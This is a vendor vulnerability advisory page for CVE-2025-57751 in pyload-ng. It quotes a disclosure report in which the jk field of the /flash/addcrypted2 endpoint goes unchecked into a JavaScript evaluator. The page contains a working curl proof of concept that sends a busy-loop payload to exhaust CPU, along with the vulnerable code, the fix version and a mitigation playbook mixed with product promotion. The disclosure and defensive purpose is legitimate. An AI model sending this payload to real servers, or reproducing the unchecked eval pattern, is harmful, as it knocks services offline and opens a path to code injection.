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CVE-2025-57751 — pyload-ng

CVE-2025-57751 is a security vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

Also known asPYSEC-2026-1815
Published
Aug 21, 2025
Updated
Jul 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 7, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍pyload-ng

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

affected code

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")


def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

  • PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

top -pid $(pgrep -f "pyload.__main__")

or

top -pid $(pgrep -f "pyload")

The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpyload-ngall versions0.5.0b3.dev92pip install --upgrade 'pyload-ng==0.5.0b3.dev92'

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pyload-ng to 0.5.0b3.dev92 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-57751 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-57751 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-57751. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation. ### Summary The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. ### Details - Endpoint: flash/addcrypted2 - affected file: https://github.com/pyload/pyload/blob/de
O3 Security · Impact-Aware SCA

Is CVE-2025-57751 in your dependencies?

O3 Security finds CVE-2025-57751 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

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CVE-2025-57751: pyload-ng | O3 Security